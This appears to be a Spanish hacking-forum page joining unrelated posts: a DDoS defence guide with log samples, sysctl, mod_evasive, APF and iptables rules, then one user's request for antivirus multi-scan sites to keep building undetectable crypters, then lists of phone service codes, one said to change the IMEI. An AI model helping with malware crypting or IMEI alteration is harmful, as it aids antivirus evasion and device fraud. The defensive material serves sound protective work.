Jul 14 12:46:55 lan kernel: TCP: drop open request from 80.103.166.148/4403
Jul 14 12:46:59 lan kernel: NET: 1772 messages suppressed.
Jul 14 12:46:59 lan kernel: TCP: drop open request from 200.127.62.215/4019
Jul 14 12:47:05 lan kernel: NET: 2362 messages suppressed.
Jul 14 12:47:05 lan kernel: TCP: drop open request from 85.57.169.142/19899
Jul 14 12:47:11 lan kernel: NET: 2618 messages suppressed.
Jul 14 12:47:11 lan kernel: TCP: drop open request from 83.19.73.122/2710
Jul 14 12:47:14 lan kernel: NET: 898 messages suppressed.
Jul 14 12:47:14 lan kernel: TCP: drop open request from 80.235.39.64/3554
Jul 14 12:47:19 lan kernel: NET: 1120 messages suppressed.
Jul 14 12:47:19 lan kernel: TCP: drop open request from 80.171.45.81/62095
Jul 14 12:47:24 lan kernel: NET: 1714 messages suppressed.
Jul 14 12:47:24 lan kernel: TCP: drop open request from 84.62.152.44/34014
Jul 14 12:47:29 lan kernel: NET: 2274 messages suppressed.
Jul 14 12:47:29 lan kernel: TCP: drop open request from 200.127.62.215/3207
Jul 14 12:47:34 lan kernel: NET: 1552 messages suppressed.
Jul 14 12:47:34 lan kernel: TCP: drop open request from 80.103.166.148/4797
Jul 14 12:47:39 lan kernel: NET: 4044 messages suppressed.
Jul 14 12:47:39 lan kernel: TCP: drop open request from 80.235.39.64/2678
Jul 14 12:47:44 lan kernel: NET: 4360 messages suppressed.
Jul 14 12:47:44 lan kernel: TCP: drop open request from 80.103.166.148/1312
Jul 14 13:04:15 lan kernel: TCP: drop open request from 200.14.237.83/4787
Jul 14 13:04:22 lan kernel: NET: 147 messages suppressed.
Jul 14 13:04:22 lan kernel: TCP: drop open request from 81.38.172.161/4892
Jul 14 13:04:30 lan kernel: NET: 6 messages suppressed.
Jul 14 13:04:30 lan kernel: TCP: drop open request from 200.14.237.83/4934
Jul 14 13:04:30 lan kernel: TCP: drop open request from 200.14.237.83/4935
Jul 14 13:04:38 lan kernel: NET: 76 messages suppressed.
Jul 14 13:04:38 lan kernel: TCP: drop open request from 81.84.212.34/2861
Jul 14 13:04:40 lan kernel: NET: 269 messages suppressed.
Jul 14 13:04:40 lan kernel: TCP: drop open request from 200.14.237.83/3070
Jul 14 13:04:45 lan kernel: NET: 287 messages suppressed.
Jul 14 13:04:45 lan kernel: TCP: drop open request from 81.203.228.102/4400
Jul 14 13:04:50 lan kernel: NET: 98 messages suppressed.
Jul 14 13:04:50 lan kernel: TCP: drop open request from 81.84.212.34/3961
Jul 14 13:04:54 lan kernel: NET: 245 messages suppressed.
Jul 14 13:04:54 lan kernel: TCP: drop open request from 200.84.169.200/1183
Jul 14 13:05:00 lan kernel: NET: 1787 messages suppressed.
Jul 14 13:05:00 lan kernel: TCP: drop open request from 81.203.228.102/2050
Jul 14 13:05:04 lan kernel: NET: 3208 messages suppressed.
Jul 14 13:05:04 lan kernel: TCP: drop open request from 86.212.167.27/4720
Jul 14 13:05:09 lan kernel: NET: 2031 messages suppressed.
Jul 14 13:05:09 lan kernel: TCP: drop open request from 81.203.228.102/1794
Jul 14 13:05:14 lan kernel: NET: 2221 messages suppressed.
Jul 14 13:05:14 lan kernel: TCP: drop open request from 81.38.172.161/4908
Jul 14 13:05:21 lan kernel: NET: 730 messages suppressed.
Jul 14 13:05:21 lan kernel: TCP: drop open request from 81.203.228.102/1430
Jul 14 13:05:25 lan kernel: NET: 234 messages suppressed.
Jul 14 13:05:25 lan kernel: TCP: drop open request from 81.203.228.102/2939
Jul 14 13:05:30 lan kernel: NET: 1594 messages suppressed.
Jul 14 13:05:30 lan kernel: TCP: drop open request from 200.14.237.83/3876
Jul 14 13:05:36 lan kernel: NET: 633 messages suppressed.
Jul 14 13:05:36 lan kernel: TCP: drop open request from 86.212.167.27/1116
Jul 14 13:05:39 lan kernel: NET: 970 messages suppressed.
Jul 14 13:05:39 lan kernel: TCP: drop open request from 81.38.172.161/3040
Jul 14 13:05:45 lan kernel: NET: 548 messages suppressed.
Jul 14 13:05:45 lan kernel: TCP: drop open request from 81.203.228.102/2119
Jul 14 13:05:50 lan kernel: NET: 421 messages suppressed.
Jul 14 13:05:50 lan kernel: TCP: drop open request from 81.203.228.102/2478
Jul 14 13:05:56 lan kernel: NET: 379 messages suppressed.
Jul 14 13:05:56 lan kernel: TCP: drop open request from 81.203.228.102/4005
Jul 14 13:05:59 lan kernel: NET: 891 messages suppressed.
Jul 14 13:05:59 lan kernel: TCP: drop open request from 81.38.172.161/3568
Jul 14 13:06:04 lan kernel: NET: 2221 messages suppressed.
Jul 14 13:06:04 lan kernel: TCP: drop open request from 81.203.228.102/4532
Jul 14 13:06:09 lan kernel: NET: 243 messages suppressed.
Jul 14 13:06:09 lan kernel: TCP: drop open request from 81.203.228.102/1939
Jul 14 13:06:14 lan kernel: NET: 2166 messages suppressed.
Jul 14 13:06:14 lan kernel: TCP: drop open request from 81.38.172.161/2137
Jul 14 13:06:19 lan kernel: NET: 2071 messages suppressed.
Jul 14 13:06:19 lan kernel: TCP: drop open request from 81.38.172.161/3136
Jul 14 13:06:24 lan kernel: NET: 2069 messages suppressed.
Jul 14 13:06:24 lan kernel: TCP: drop open request from 81.84.212.34/4600
Jul 14 13:06:29 lan kernel: NET: 1797 messages suppressed.
Jul 14 13:06:29 lan kernel: TCP: drop open request from 86.212.167.27/3171
Jul 14 13:06:35 lan kernel: NET: 1292 messages suppressed.
Jul 14 13:06:35 lan kernel: TCP: drop open request from 81.203.228.102/1394
Jul 14 13:06:39 lan kernel: NET: 715 messages suppressed.

CitarMay 17 14:13:24 lan kernel: ip_conntrack: table full, dropping packet.
Tabla llena. Tenemos un problema porque no admitiremos más conexiones aunque sean legítimas.

Podemos aumentar el valor de dicha tabla si nuestra red da para más.
Directamente:

Código: php
echo "65535" > /proc/sys/net/ipv4/ip_conntrack_max


Para que el valor quede guardardo y no se pierda al reiniciar, debemos añadirlo en el sysctl.conf

Código: php
net.ipv4.ip_conntrack_max = 65535


Recuerda reiniciar la red para aplicar los cambios en el /proc (service network restart).
Paquetes Marcianos:

CitarAug 31 12:41:29 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 12:45:07 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 12:52:57 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 12:58:55 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 13:08:12 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 13:12:03 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 13:34:38 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 13:37:38 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 13:52:42 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 13:56:18 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 13:59:54 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 14:13:32 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 14:38:08 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 14:43:42 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 14:50:05 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 14:51:05 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 14:57:58 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 15:05:27 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 15:06:14 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0
Aug 31 15:09:08 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on dev eth0

Son paquetes inesperados que llegan por un camino por el cual no pueden llegar indica algún problema de audacia (cracker).

Usando paquetes como éstos se pueden atacar vulnerabilidades remotas en stacks TCP/IP

5) Mirando las gráficas del MRTG, RRDtool

Si ves que el tráfico inbound sube hasta los 100mbps es que te están doseando hehehe.





B) Intentar parar el ataque

1) - mod_evasive

Web Oficial:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Consideramos que 50 conexiones por segundo a 2 páginas es suficiente motivo como para bloquear esa ip:

Código: php
<IfModule mod_evasive.c>
    DOSHashTableSize    3097
    DOSPageCount        2
    DOSSiteCount        50
    DOSPageInterval     1
    DOSSiteInterval     1
    DOSBlockingPeriod   900
</IfModule>


Igual que el anterior pero con 50 peticiones en un segundo a 1 sola página:

Código: php
<IfModule mod_evasive.c>
DOSHashTableSize 3097
DOSPageCount 1
DOSSiteCount 50
DOSPageInterval 1
DOSSiteInterval 1
</IfModule>


Si queremos bloquear las ips que floodean, podemos usar el iptables:

DOSSystemCommand "sudo -u root -c '/sbin/iptables -A INPUT -s %s -j DROP"

Recordar mirar el syslog por si hay posibles falsos positivos (ip's que no hacian flood).

Para evitar falsos positivos:

Código: php
<IfModule mod_evasive.c>
# añadir estas líneas que corresponden a rangos de los bots de google
DOSWhitelist 66.249.65.*
DOSWhitelist 66.249.66.*
</IfModule>


Importante:

Para que el mod_evasive funcione correctamente deberás modificar el:

CitarMaxRequestsPerChild 0
Para poner un valor alto pero nunca ilimitado (0).

CitarMaxRequestsPerChild 10000
Config ejemplo:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

2 - mod_security

El único problema del mod_security es que necesitamos al menos un argumento para detectar el ataque.

En el ejemplo usamos en http_referer y el User Agent para detectar el DDoS:

Bloqueando un ataque Iframe
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

3- tcplimit, ipdrop, ipblock

Usando firewalls dinámicos.

4- Optimizando y asegurando la red con el sysctl.conf

Código: php
cat /proc/sys/net/ipv4/tcp_syncookies

    # Enable IP spoofing protection, turn on Source Address Verification

    net.ipv4.conf.all.rp_filter = 1

    # Enable TCP SYN Cookie Protection

    net.ipv4.tcp_syncookies = 1

    # Enable ignoring broadcasts request
   
    net.ipv4.icmp_echo_ignore_broadcasts = 1


1). Activate SynCookies protection

Código: php
It works by sending out 'syncookies' when the
    syn backlog queue of a socket overflows.

    => echo 1 >/proc/sys/net/ipv4/tcp_syncookies

    or

    => /sbin/sysctl -w net.ipv4.tcp_syncookies=1


2). Disable source routing

Código: php
    => for f in /proc/sys/net/ipv4/conf/*/accept_source_route; do
    echo 0 > $f
    done

    or

    => /sbin/sysctl -w net.ipv4.conf.all.accept_source_route=0


3). Reverse Path Filtering

    Reject incoming packets if their source address doesn't match
    the network interface that they're arriving on

Código: php
   => for f in /proc/sys/net/ipv4/conf/*/rp_filter; do
    echo 1 > $f
    done

    or

    => /sbin/systcl -w net.ipv4.conf.all.rp_filter=1


4). Log RP filter dropped packets (martians)

Código: php
   => for f in /proc/sys/net/ipv4/conf/*/log_martians; do
    echo 1 > $f
    done

    or

    => /sbin/sysctl -w net.ipv4.conf.all.log_martians=1


5). Maximal number of remembered connection requests

Código: php
=> /sbin/sysctl -w net.ipv4.tcp_max_syn_backlog=256 


6). How may times to retry before killing TCP connection

    (default 7 on most systems)

Código: php
 => /sbin/sysctl -w net.ipv4.tcp_orphan_retries=4 


7). Number of SYN packets the kernel will send before giving up

Código: php
   => /sbin/sysctl -w net.ipv4.tcp_syn_retries=5 


8 ). Disable broadcast icmp reply

Código: php
    => /sbin/sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1 


9). Ignore Bogus icmp packets

Código: php
    => /sbin/sysctl -w net.ipv4.icmp_ignore_bogus_error_responses=1 


10). Disable ICMP redirect

Código: php
    => echo 0 >/proc/sys/net/ipv4/conf/all/accept_redirects
    => echo 0 >/proc/sys/net/ipv4/conf/all/send_redirects

    or

    => /sbin/sysctl -w net.ipv4.conf.all.accept_redirects=0
    => /sbin/sysctl -w net.ipv4.conf.all.send_redirects=0


11). Disable timestamps

Código: php
   => echo 0 >/proc/sys/net/ipv4/tcp_timestamps

    or

    => /sbin/sysctl -w net.ipv4.tcp_timestamps=0


12). Reduce DOS ability by reducing timeouts

Código: php
    => echo 30 >/proc/sys/net/ipv4/tcp_fin_timeout
    => echo 1800 >/proc/sys/net/ipv4/tcp_keepalive_time
    => echo 0 >/proc/sys/net/ipv4/tcp_window_scaling
    => echo 0 >/proc/sys/net/ipv4/tcp_sack

    or

    => /sbin/sysctl -w net.ipv4.tcp_fin_timeout=30
    => /sbin/sysctl -w net.ipv4.tcp_keepalive_time=1800
    => /sbin/sysctl -w net.ipv4.tcp_window_scaling=0
    => /sbin/sysctl -w net.ipv4.tcp_sack=0


- Lista de todas las variables del TCP:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

- Lista de Variables del /proc/sys/net/ipv4/* (con varlores por defecto y explicaciones)
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Más ejemplos de configuración completa del sysctl.conf en las referencias del documento.

5- APF Firewall con el módulo anti-ddos

Código: php
wget http://www.rfxnetworks.com/downloads/apf-current.tar.gz
tar xvzf apf-current.tar.gz
cd apf-0.9.6-1/
./install.sh

Citar
service apf start
/usr/local/sbin/apf -s

Fichero de configuración:

Citar/etc/apf/conf.apf
Despues de hacer las pruebas dejar:
DEVEL_MODE="0"

Si nos sale un error parecido a este:

Citarapf(9413): unable to load iptables module (ip_tables), aborting.

Cambiamos esto:

CitarSET_MONOKERN="1"

Puertos que queremos abrir (inbound)
IG_TCP_CPORTS="21,22,25,53,80,110"

Si queres bloquear todo el tráfico de salida lo ponemos en 1 (outbound)
EGF="0"

Si queremos usar el módulo antddos poner a 1:
USE_AD="0"

Log:
/var/log/apf_log

Para ver los paquetes que dropeamos:
LOG_DROP="1"

Lo guardará en el syslog, ejemplo:

Proto= Protocolo
SRC= ip origen
SPT= Source Port (puerto d origen)
DST= Destination Port (puerto destino)

CitarOct 20 13:59:27 ns2 kernel: ** SANITY ** IN=eth0 OUT=  SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00 TTL=54 ID=18779 PROTO=TCP SPT=11629 DPT=80 WINDOW=0 RES=0x00 RST FIN URGP=0
Oct 20 14:00:16 ns2 kernel: ** SANITY ** IN=eth0 OUT=  SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00 TTL=54 ID=20376 PROTO=TCP SPT=27734 DPT=80 WINDOW=0 RES=0x00 RST FIN URGP=0
Oct 20 14:00:17 ns2 kernel: ** SANITY ** IN=eth0 OUT=  SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00 TTL=54 ID=20382 PROTO=TCP SPT=25943 DPT=80 WINDOW=0 RES=0x00 RST FIN URGP=0
Oct 20 14:00:17 ns2 kernel: ** SANITY ** IN=eth0 OUT=  SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00 TTL=54 ID=20387 PROTO=TCP SPT=19026 DPT=80 WINDOW=0 RES=0x00 RST FIN URGP=0
Oct 20 14:00:17 ns2 kernel: ** SANITY ** IN=eth0 OUT=  SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00 TTL=54 ID=20397 PROTO=TCP SPT=2155 DPT=80 WINDOW=0 RES=0x00 RST FIN URGP=0
Oct 20 14:00:17 ns2 kernel: ** SANITY ** IN=eth0 OUT=  SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00 TTL=54 ID=20407 PROTO=TCP SPT=9294 DPT=80 WINDOW=0 RES=0x00 RST FIN URGP=0
Oct 20 14:00:22 ns2 kernel: ** SANITY ** IN=eth0 OUT=  SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00 TTL=54 ID=20687 PROTO=TCP SPT=9269 DPT=80 WINDOW=0 RES=0x00 RST FIN URGP=0
Oct 20 14:00:22 ns2 kernel: ** SANITY ** IN=eth0 OUT=  SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00 TTL=54 ID=20694 PROTO=TCP SPT=27223 DPT=80 WINDOW=0 RES=0x00 RST FIN URGP=0
Oct 20 14:00:23 ns2 kernel: ** SANITY ** IN=eth0 OUT=  SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00 TTL=54 ID=20830 PROTO=TCP SPT=30938 DPT=80 WINDOW=0 RES=0x00 RST FIN URGP=0
Oct 20 14:00:25 ns2 kernel: ** SANITY ** IN=eth0 OUT=  SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00 TTL=54 ID=21038 PROTO=TCP SPT=5377 DPT=80 WINDOW=0 RES=0x00 RST FIN URGP=0
Oct 20 14:00:27 ns2 kernel: ** SANITY ** IN=eth0 OUT=  SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00 TTL=54 ID=21219 PROTO=TCP SPT=13341 DPT=80 WINDOW=0 RES=0x00 RST FIN URGP=0
Oct 20 14:00:42 ns2 kernel: ** SANITY ** IN=eth0 OUT=  SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00 TTL=54 ID=21990 PROTO=TCP SPT=22960 DPT=80 WINDOW=0 RES=0x00 RST FIN URGP=0
Oct 20 14:02:32 ns2 kernel: ** SANITY ** IN=eth0 OUT=  SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00 TTL=54 ID=26386 PROTO=TCP SPT=2826 DPT=80 WINDOW=0 RES=0x00 RST FIN URGP=0

Recuerda que para usar el antidos debes añadir el cron job:

Citar*/8 * * * * root /etc/apf/ad/antidos -a >> /dev/null 2>&1

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

KISS My Firewall es una alternativa.

Script PHP
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

6- Parar el botnet

ZmbScap - Zombie Scapper - Stoopt DDoS Programs
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Tracking Botnets - Bot-Commands
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Tracking Botnets
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Tracking Botnets - DDoS-attacks
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Phatbot Trojan Analysis
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

F-Bot by f-secure- Elimina el Agobot y todas sus variantes
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Nepenthes - Autoinfecarse sin peligro para analizar
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

honeytrap – trap attacks against tcp services
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

7- Usando reglas del iptables

Código: php
# todo el trafico syn
-P INPUT DROP
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -p tcp ! --syn -j REJECT --reject-with tcp-reset
-A INPUT -m state --state INVALID -j DROP
-P OUTPUT DROP
-A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A OUTPUT -p tcp ! --syn -j REJECT --reject-with tcp-reset
-A OUTPUT -m state --state INVALID -j DROP
-P FORWARD DROP
-A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
-A FORWARD -p tcp ! --syn -j REJECT --reject-with tcp-reset
-A FORWARD -m state --state INVALID -j DROP
-A INPUT -i lo -j ACCEPT
-A OUTPUT -o lo -j ACCEPT
-A FORWARD -i lo -o lo -j ACCEPT


# sube las cargas pero muchos wwww buena señal
-A INPUT -p tcp --syn -j REJECT --reject-with icmp-port-unreachable



# la que mejor va
-N syn-flood
-A syn-flood -m limit --limit 100/second --limit-burst 150 -j RETURN
-A syn-flood -j LOG --log-prefix "SYN flood: "
-A syn-flood -j DROP



# igual que el de arriba pero muy bestia
-N syn-flood
-A INPUT -i eth0:2 -p tcp --syn -j syn-flood
-A syn-flood -m limit --limit 1/s --limit-burst 4 -j RETURN
-A syn-flood -j DROP


-A INPUT -p tcp -m tcp --tcp-flags SYN,RST,ACK SYN -m limit --limit
1/sec -j ACCEPT
-A INPUT -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK RST -m limit
--limit 1/sec -j ACCEPT

# no es muy efectivo
-A INPUT -s 0/0 -p tcp --syn --source-port 1000:5000
--destination-port 80 -j DROP

# no es muy efectivo
-A INPUT -p tcp -m tcp --dport 80 --sport 1000:5000 --tcp-flags SYN SYN -j DROP

# Descartar paquetes mal formados

-N PKT_FAKE
-A PKT_FAKE -m state --state INVALID -j DROP
-A PKT_FAKE -p tcp --dport 80 --tcp-flags ALL ACK,RST,SYN,FIN -j DROP
-A PKT_FAKE -p tcp --dport 80 --tcp-flags SYN,FIN SYN,FIN -j DROP
-A PKT_FAKE -p tcp --dport 80 --tcp-flags SYN,RST SYN,RST -j DROP
-A PKT_FAKE -p tcp --dport 80 ! --syn -m state --state NEW -j DROP
-A PKT_FAKE -f -j DROP
-A PKT_FAKE -j RETURN

# syn-flood
-N syn-flood
-A INPUT -i eth+ -p tcp --tcp-flags SYN,ACK,FIN,RST RST -j syn-flood
-A FORWARD -i eth+ -p tcp --tcp-flags SYN,ACK,FIN,RST RST -j syn-flood
-A syn-flood -m limit --limit 4/s --limit-burst 16 -j RETURN
-A syn-flood -m limit --limit 75/s --limit-burst 100 -j RETURN
-A syn-flood -j LOG --log-prefix "SYN FLOOD " --log-tcp-sequence  --log-tcp-options  --log-ip-options -m limit --limit 1/second
-A syn-flood -j DROP

# By pepel. Requiere módulo "recent"
-A INPUT -p tcp --dport 80 -m state --state NEW -m recent   --set
-A INPUT -p tcp --dport 80 -m state --state NEW -m recent  --update --seconds 10 --hitcount 10 -j DROP

#explicación:
Se añade cada ip que se conecte a la tabla de recent
Por por cada ip en la tabla de recent si hace mas de x hits en x segundos, se dropea.


iptables -I INPUT -p tcp –syn -m recent –set
iptables -I INPUT -p tcp –syn -m recent –update –seconds 10 –hitcount 30 -j DROP

UDP Flood

/sbin/iptables -A OUTPUT -p udp -m state --state NEW -j ACCEPT
/sbin/iptables -A OUTPUT -p udp -m limit --limit 100/s -j ACCEPT
/sbin/iptables -A OUTPUT -p udp -j DROP

Lo que hace es contar el número de paquetes SYN (inicio de conexión TCP) para
cada dirección IP en los últimos 10 segundos. Si llega a 30 descarta ese paquete por
lo que no se establecerá la conexión (el TCP volverá a intentar varias veces,
cuando baje del límite podrá establecerse).


8- Usando el mod_throttle

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Otros:

Mod_Throttle, mod_bandwidth, mod_iplimit, mod_tsunami, mod_limitipconn.c

Para Apache 2:
mod_cband

Código: php
cd /usr/src
wget http://www.snert.com/Software/mod_throttle/mod_throttle312.tgz
tar zxvf mod_throttle312.tgz
cd mod_throttle-3.1.2
pico Makefile
Then edit the line that reads:
APXS=apxs
And change it to read:
APXS=/usr/local/apache/bin/apxs
make
make install
service httpd restart


Citar<IfModule mod_throttle.c>
ThrottlePolicy Volume 10G 30d
</IfModule>
<Location /throttle-me>
SetHandler throttle-me
</Location>
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

C) Referencias

- Opciones de seguridad en Linux a través de /proc (I) y (II)
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

- Syctl.conf Hardening
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

- Ipsysctl tutorial 1.0.4
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

-  Hardening the TCP/IP stack to SYN attacks
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

- DDOS and SYN_Recv Attacks And some SOlutions
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

- Distributed Reflection Denial of Service
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

- Dynamic iptables firewalls
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

- Preventing DDoS Attacks
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

- Distributed Denial of Service (DDoS) Attacks/tools
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

- Linux firewall rulesets and snippets of rule sets
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Fuente: Taringa!
#74
Buenos dias comunidad de Underc0de, miren les vengo con una duda, resulta que yo modeo crypters y usaba una herramienta hecha por Santiagork que generaba cuantas de Myavscan que te permitian 1 Scan, esta web para los que no la conoces escanea tu server en 34 Avs diferentes, es una exelente web para escaniar tus server. Pero me ah pasado algo terrible, han actualizado la web de Myavscan y esta herramienta no funciona mas. Alguien conoce alguna web con esta cantidad de Avs para escaniar mis server y asi poder seguir haciendo crypters, no creo que allan free, pero si son pagas vere como conseguir la plata y pagarlas asi puedo traer lindos FUD para el foro.
Gracias de ante mano, Saludos,, Cronos.-
#75
Phreak / Trucos celulares Samsung
Agosto 18, 2010, 11:33:16 AM
*#9999# -> Muestra la versión del software.
  *#0837# -> Muestra la versión del software (instrucciones).
  *#0001# -> Muestra parámetros de serie.
  *#9125# -> Activa la señal mientras carga.
*#9998*228# -> Estado de la batería (capacidad, voltaje, temperatura)
  *#9998*246# -> Estado del programa
  *#9998*289# -> Cambio de la frecuencia de la alarma
  *#9998*324# -> Descodificar la pantalla
  *#9998*364# -> Watchdog
  *#9998*377# -> EEPROM Error Stack – Use las flechas de los lados para seleccionar los valores. Cancelar y ok.
  *#9998*427# -> Trace Watchdog
  *#9998*523# -> Cambiar el contraste de LCD – Sólo en la versión G60RL01W
  *#9998*544# -> Detección de "Jig"
  *#9998*636# -> Estado de la memoria
  *#9998*746# -> Tamaño del fichero de SIM
  *#9998*778# -> Tabla de servicio SIM
  *#9998*785# -> Errores RTK (Run Time Kernel) – si está correcto,  entonces "phn" está reseteado, la información se coloca en la memoria  de error . *#9998*786# -> Run, Last UP, Last DOWN
  *#9998*837# -> Versión soft.
  *#9998*842# -> Prueba vibrador- Hace flash la luz de la pantalla durante 10 segundos y el vibrador se activará.
  *#9998*862# ->  Registro del Vocoder – Puedes seleccionar normal, auriculares o kit para el coche.
  *#9998*872# -> Diag
  *#9998*947# -> Resetear tras error fatal
  *#9998*999# -> Last/Chk
  *#9998*9266# -> Descodificar pantalla
  *#9998*9999# -> Versión del software
  *0001*s*f*t# -> Changes serial parameters (s=?, f=0,1, t=0,1) (incomplete)
  *0002*?# -> desconocido
  *0003*?# -> desconocido
Desbloqueo del Proveedor de Servicios (PS) en los modelos SGH-600 y SGH 2100.
*2767*3855# -> Resetea completamente la memoria EEPROM. Este  código elimina el bloqueo, aunque también cambia el número IMEI a  447967-89-400044-0.
  *2767*2878# -> Personaliza el reseteo de la memoria EEEPROM.
  Estos códigos se han probado con la versión FLD_2C6 G60SB03X del Samsung SGH-600
Subir el volúmen de los timbres Samsung SGH E-236 (Recordá  que valores muy elevados pueden dañar el altavoz y/o los auriculares de  forma permanente)
 

1) Introduce el código *#8999*8378#
2) Luego ir a Test h/w, melodías, opción 15 que dice lm4946
3) Buscar donde dice dsp_iis_ringer_stereo y escribir 30.
4) En el siguiente que dice algo parecido, también 30.
Para tener en cuenta: sólo cambien esos valores. Anoten los valores originales antes de cualquier modificación.
Subir el volúmen de los timbres Samsung SGHF250 (Recordá que valores muy elevados pueden dañar el altavoz y/o los auriculares de forma permanente)
1. Marca *#0206*8378#
  2. En el Menú, ir a "H/W Test"
  3. Luego ir a "Audio Settings "
  4. Después a "mp3 Spk"
  5. Donde dice "Ear Gain" modificarlo de 12 a 14.
  6. En el mismo menú de "Ear Gain", pero mas abajo, ir donde dice "Rx vol".
  Se recomiendan estos seteos para un buen sonido.
  Level 1: 150
  Level 2: 200
  Level 3: 250
  Level 4: 300
  Level 5: 350
  Level 6: 400
  Level 7: 450
  Level 8: 500
  Level 9: 600
  Level 10: 700
  Level 11: 900
  Level 12: 1000
  Level 13: 1300
  Level 14: 1900
Subir el volúmen Samsung i900 Omnia (Recordá que valores muy elevados pueden dañar el altavoz y/o los auriculares de forma permanente)
1) *#0002*28346# – Abre la utilidad de control de audio, en donde podrás ajustar los niveles de volumen.
2) Aparece la interfaz de "AudioControl"
Si querés ajustar el volumen del altavoz para los tonos y aplicaciones:
1) Selecciona "Menú" > "Normal" > "Handset"
  Ahí podés ajustar:
  - Digital-to-analog: DAC(0C) -4.5 dB: esto afecta el volumen global de las aplicaciones, no excedas los 0 dB
  -Volumen del altavoz: SPK(02) -3 dB, no excedas los -1.5 dB para no dañar el altavoz.
  2) Selecciona "Menú", luego "Apply".
Si querés ajustar el volumen de los auriculares:
1) selecciona "Menú" > "Normal" > "Headset"
  Ahí podés ajustar:
  - Digital-to-analog: DAC(0C) -1.5 dB: esto afecta el volumen global de  las aplicaciones, como con el altavoz, no excedas los 0 db.
  - Volumen de los auriculares: HP(04) -12 dB, evita subir a más de 0 dB.
  2) Finalmente, selecciona "Menú", luego "Apply"
Trucos para Samsung SGH-A300 – SGH-A400
Para ver la versión del software, presionar *#9999#
Para regular el contraste de la pantalla *#0523#
Para ver la capacidad, voltaje actual y temperatura de la batería, presionar *# 0228#
Al insertar *#9998*842# el celular empezará a vibrar sin parar.
#76
Phreak / Códigos y Trucos para celulares
Agosto 18, 2010, 11:31:50 AM
Códigos y Trucos Para celular Alcatel
Versión de software y hardware:
###999, las dos primeras cifras son la versión de SW y las otras dos las de HW.
Alcatel EASY
Muestra los menús ocultos: 000000*
TRACES ( Canales )
RESEAU ( red, célula )
xxxx rr aa bb cc yyyy donde: xxxx : número de canal en el que estás conectado ( 1-128 )
rr : nivel de recepción en dB uV/m aa , bb , cc : ni idea, si alguien lo sabe mail.
yyyy : es el Código Identificador de la Área Local ( en hexadecimal ).
